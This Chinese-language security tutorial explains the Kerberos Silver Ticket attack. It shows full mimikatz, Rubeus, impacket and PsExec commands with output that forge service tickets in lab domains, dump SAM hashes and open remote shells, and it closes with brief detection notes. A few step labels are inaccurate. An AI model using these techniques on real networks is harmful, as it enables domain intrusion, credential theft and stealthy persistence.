白银票据

每台机器账户都有一个 NTLM 哈希;这是该计算机的哈希,以 SYSTEM$ 账户表示。它是域与工作站之间的预共享密钥(PSK),用于签署 Kerberos 票据授予服务(TGS)票据。

该票据的权限低于黄金票据,因为它只能访问那一台机器。然而,在创建黄金票据时,攻击者需要与域控制器交互,让它生成 TGS 票据后才能访问任何机器。这会生成一条唯一的审计记录,虽然不会显得恶意,但可以应用启发式方法来判断其是否异常。

在伪造 TGS 票据时,攻击者可以绕过域控制器,直接访问目标,从而最大限度减少留下的日志数量。

1. 理论

当用户请求 TGS 票据时,会将他们的 TGT 发送到域控制器。域控制器会查找哪个账户公开了用户请求的 SPN。然后它会将用户的信息( PAC )复制到 TGS 票据中,并使用与该 SPN 关联的服务账户的密钥对其进行加密。

因为用户不知道服务账户的密钥,也就无法在 TGS 票据中修改自己的信息。那如果获取到了一个服务账户的密钥,会发生什么呢?

攻击者就可以使用服务账户的密钥对任意伪造的PAC进行加密伪造服务票据。这个被伪造的TGS票据就是白银票据,它可以让用户以任何身份访问对应的服务。

银票是一种伪造的 TGS 票据,因此它不需要与域控制器通信。所有相关的事件日志都只会在目标主机上生成。因此,银票比金票更加隐蔽。

2. 利用

2.1. 条件

需要一下条件:

  • 服务账户或者机器账户的 NTLM哈希或者密钥
  • 域SID、目标主机、服务名称(SPN)、任意的用户名和组信息

2.2. on windows

2.2.1. 获取域SID

PS C:\Tools> Import-Module .\PowerView.ps1
PS C:\Tools> Get-DomainSID

S-1-5-21-2974783224-3764228556-2640795941

2.2.2. 伪造银票

假设我们攻陷了 SQL01$ 账户。获取到了它的 NTLM 哈希。想要构造一个 TGS 票据来访问 SQL01 文件系统。为此我们需要一个 CIFS/SQL01 TGS 票据。

PS C:\Tools> mimikatz.exe 

<SNIP>

mimikatz # kerberos::golden /domain:inlanefreight.local /user:Administrator /sid:S-1-5-21-2974783224-3764228556-2640795941 /rc4:ff955e93a130f5bb1a6565f32b7dc127 /target:sql01.inlanefreight.local /service:cifs  /ptt

User      : Administrator
Domain    : inlanefreight.local (INLANEFREIGHT)
SID       : S-1-5-21-2974783224-3764228556-2640795941
User Id   : 500
Groups Id : *513 512 520 518 519
ServiceKey: ff955e93a130f5bb1a6565f32b7dc127 - rc4_hmac_nt
Service   : cifs
Target    : sql01.inlanefreight.local
Lifetime  : 8/17/2020 3:22:27 PM ; 8/15/2030 3:22:27 PM ; 8/15/2030 3:22:27 PM
-> Ticket : ` Pass The Ticket `

 * PAC generated
 * PAC signed
 * EncTicketPart generated
 * EncTicketPart encrypted
 * KrbCred generated

Golden ticket for 'Administrator @ inlanefreight.local' successfully submitted for current session

验证一下

PS C:\Tools> klist

Current LogonId is 0:0x3f22d82

Cached Tickets: (1)

#0>     Client: Administrator @ inlanefreight.local
        Server: cifs/sql01.inlanefreight.local @ inlanefreight.local
        KerbTicket Encryption Type: RSADSI RC4-HMAC(NT)
        Ticket Flags 0x40a00000 -> forwardable renewable pre_authent
        Start Time: 8/17/2020 15:22:27 (local)
        End Time:   8/15/2030 15:22:27 (local)
        Renew Time: 8/15/2030 15:22:27 (local)
        Session Key Type: RSADSI RC4-HMAC(NT)
        Cache Flags: 0
        Kdc Called:

2.3. 使用 Sacrifical 进程

我们也可以创建一个 Sacrificial Process 。通过 CIFS 服务执行 PSExec 。

2.3.1. 伪造白银票据

首先创建一个票据并将其保存在 sql01.kirbi

C:\Tools> mimikatz.exe "kerberos::golden /domain:inlanefreight.local /user:Administrator /sid:S-1-5-21-2974783224-3764228556-2640795941 /rc4:ff955e93a130f5bb1a6565f32b7dc127 /target:sql01.inlanefreight.local /service:cifs /ticket:sql01.kirbi" exit

  .#####.   mimikatz 2.2.0 (x64) #19041 Sep 19 2022 17:44:08
 .## ^ ##.  "A La Vie, A L'Amour" - (oe.eo)
 ## / \ ##  /*** Benjamin DELPY `gentilkiwi` ( benjamin@gentilkiwi.com )
 ## \ / ##       > https://blog.gentilkiwi.com/mimikatz
 '## v ##'       Vincent LE TOUX             ( vincent.letoux@gmail.com )
  '#####'        > https://pingcastle.com / https://mysmartlogon.com ***/

mimikatz(commandline) # kerberos::golden /domain:inlanefreight.local /user:Administrator /sid:S-1-5-21-2974783224-3764228556-2640795941 /rc4:ff955e93a130f5bb1a6565f32b7dc127 /target:sql01.inlanefreight.local /service:cifs /ticket:sql01.kirbi
User      : Administrator
Domain    : inlanefreight.local (INLANEFREIGHT)
SID       : S-1-5-21-2974783224-3764228556-2640795941
User Id   : 500
Groups Id : *513 512 520 518 519
ServiceKey: ff955e93a130f5bb1a6565f32b7dc127 - rc4_hmac_nt
Service   : cifs
Target    : sql01.inlanefreight.local
Lifetime  : 4/4/2023 3:10:29 PM ; 4/1/2033 3:10:29 PM ; 4/1/2033 3:10:29 PM
-> Ticket : ** Pass The Ticket **

 * PAC generated
 * PAC signed
 * EncTicketPart generated
 * EncTicketPart encrypted
 * KrbCred generated

Golden ticket for 'Administrator @ inlanefreight.local' successfully submitted for current session

mimikatz(commandline) # exit
Bye!

2.3.2. 创建 Sacrificial Process

C:\Tools> Rubeus.exe createnetonly /program:cmd.exe /show

   ______        _
  (_____ \      | |
   _____) )_   _| |__  _____ _   _  ___
  |  __  /| | | |  _ \| ___ | | | |/___)
  | |  \ \| |_| | |_) ) ____| |_| |___ |
  |_|   |_|____/|____/|_____)____/(___/

  v2.2.2


[*] Action: Create Process (/netonly)


[*] Using random username and password.

[*] Showing process : True
[*] Username        : 0HK7610O
[*] Domain          : 540GDGRA
[*] Password        : ZM83YNND
[+] Process         : 'cmd.exe' successfully created with LOGON_TYPE = 9
[+] ProcessID       : 2832
[+] LUID            : 0x186a73

这个 Rubeus 操作 createnetonly 以及标志 /show ,会为我们指定的 /program: 打开程序,在这里是 cmd.exe 。那个新窗口就是我们的 sacrificial process ,因为它没有当前用户的凭据。我们将使用如下方式导入我们用 mimikatz 伪造的 sql01.kirbi 票据:

2.3.3. 导入票据

C:\Tools> Rubeus.exe ptt /ticket:sql01.kirbi

   ______        _
  (_____ \      | |
   _____) )_   _| |__  _____ _   _  ___
  |  __  /| | | |  _ \| ___ | | | |/___)
  | |  \ \| |_| | |_) ) ____| |_| |___ |
  |_|   |_|____/|____/|_____)____/(___/

  v2.2.2


[*] Action: Import Ticket
[+] Ticket successfully imported!

2.3.4. PSExec

C:\Tools> PSExec.exe -accepteula \\sql01.inlanefreight.local cmd

PsExec v2.42 - Execute processes remotely
Copyright (C) 2001-2023 Mark Russinovich
Sysinternals - www.sysinternals.com


Microsoft Windows [Version 10.0.17763.2628]
(c) 2018 Microsoft Corporation. All rights reserved.

C:\Windows\system32>hostname
SQL01

2.4. On Linux

还是使用impacket-ticketer来制作一个Silver Ticket

2.4.1. 获取域SID

echo -n 'Pegasus60' | iconv -f UTF-8 -t UTF-16LE | openssl md4 #明文密码变NT hash
# 查找域的 SID
nxc ldap 10.129.161.177 -u 'sqlsvc'  -p 'Pegasus60' -k  --get-sid #获取域SID

┌──(root㉿kali)-[~/tmp]
└─# impacket-lookupsid -hashes :38fe728ae616f0fde13715e7c320685f  0day.org/administrator@192.168.3.142
Impacket v0.12.0 - Copyright Fortra, LLC and its affiliated companies 

[*] Brute forcing SIDs at 192.168.3.142
[*] StringBinding ncacn_np:192.168.3.142[\pipe\lsarpc]
[*] Domain SID is: S-1-5-21-1812960810-2335050734-3517558805
498: 0DAY\Enterprise Read-only Domain Controllers (SidTypeGroup)
500: 0DAY\Administrator (SidTypeUser)
501: 0DAY\Guest (SidTypeUser)
502: 0DAY\krbtgt (SidTypeUser)
512: 0DAY\Domain Admins (SidTypeGroup)

2.4.2. 伪造白银票据

# 使用 NT hash 生成白银票据(Silver Ticket)
┌──(root㉿kali)-[~/tmp]
└─# impacket-ticketer -nthash ed8136d84965a7958c2e4e0d84bf34b7 -domain-sid S-1-5-21-1812960810-2335050734-3517558805 -domain 0day.org -dc-ip 192.168.3.144 -spn cifs/OWA2010SP3.0day.org silver
Impacket v0.12.0 - Copyright Fortra, LLC and its affiliated companies 

[*] Creating basic skeleton ticket and PAC Infos
[*] Customizing ticket for 0day.org/silver
[*]     PAC_LOGON_INFO
[*]     PAC_CLIENT_INFO_TYPE
[*]     EncTicketPart
[*]     EncTGSRepPart
[*] Signing/Encrypting final ticket
[*]     PAC_SERVER_CHECKSUM
[*]     PAC_PRIVSVR_CHECKSUM
[*]     EncTicketPart
[*]     EncTGSRepPart
[*] Saving ticket in silver.ccache

2.4.3. 导入票据使用

#导入票据
┌──(root㉿kali)-[~/tmp]
└─# export KRB5CCNAME=silver.ccache      

#利用票据进行dcsync
┌──(root㉿kali)-[~/tmp]
└─# impacket-secretsdump   -k OWA2010SP3.0day.org                                                    
Impacket v0.12.0 - Copyright Fortra, LLC and its affiliated companies 

[*] Target system bootKey: 0xe2daa1c5dca47d980c9c9a95b0409760
[*] Dumping local SAM hashes (uid:rid:lmhash:nthash)
Administrator:500:aad3b435b51404eeaad3b435b51404ee:ccef208c6485269c20db2cad21734fe7:::
Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::

#利用票据进行PTH
┌──(root㉿kali)-[~/tmp]
└─# impacket-wmiexec -k OWA2010SP3.0day.org -codec gbk
Impacket v0.12.0 - Copyright Fortra, LLC and its affiliated companies 

[*] SMBv2.1 dialect used
[!] Launching semi-interactive shell - Careful what you execute
[!] Press help for extra shell commands
C:\>whoami
0day.org\silver

3. 检测

3.1. 隐蔽性 持久性

与黄金票据相比,白银票据的更难检测,因为它们的范围仅限于针对特定主机上的某个服务。然而,它们可以用来保持更隐蔽的行踪。当用于访问计算机托管的服务时,白银票据可以用于持久化。由于计算机账户密码轮换可能被禁用,且 AD 不会阻止计算机账户访问资源,这种类型的白银票据很可能会长期有效。

3.2. 检测

使用 mimikatz 伪造的白银票据可以通过几种方式被检测到:

  • 账户 DOMAIN 字段为空。
  • 账户 DOMAIN 字段包含的是 DOMAIN FQDN,而不是仅仅的域名。

4. 其他

相比白银票据(Silver Ticket),一个更好且更隐蔽的替代方法是滥用 S4U2self。这种方式可以利用 Kerberos 委派功能,而不是伪造票据,来模拟目标机器上具有本地管理员权限的域用户。

  • Silver Ticket(白银票据)依赖于服务账号的密码散列值,这不同于 Golden Ticket 利用需要使用 krbtgt 账号的密码哈希值,因此更加隐蔽。
  • Golden Ticket 是由 krbtgt 账号加密的,而 Silver Ticket(白银票据)是由特定服务账号加密的。
  • 银票的特点是不需要与 KDC 进行交互,但代价是伪造的时候需要服务的 NTLM hash。
┌─────────────────────────────────────────────────────┐
│  哈希类型          可用的 SPN                         │
├─────────────────────────────────────────────────────┤
│  服务账户哈希  →  只能用该服务的 SPN                    │
│  机器账户哈希  →  可以用多种 SPN(包括 CIFS)           │
│  krbtgt 哈希   →  可以用任意 SPN(Golden Ticket)      │
└─────────────────────────────────────────────────────┘

5. 案例

6. References: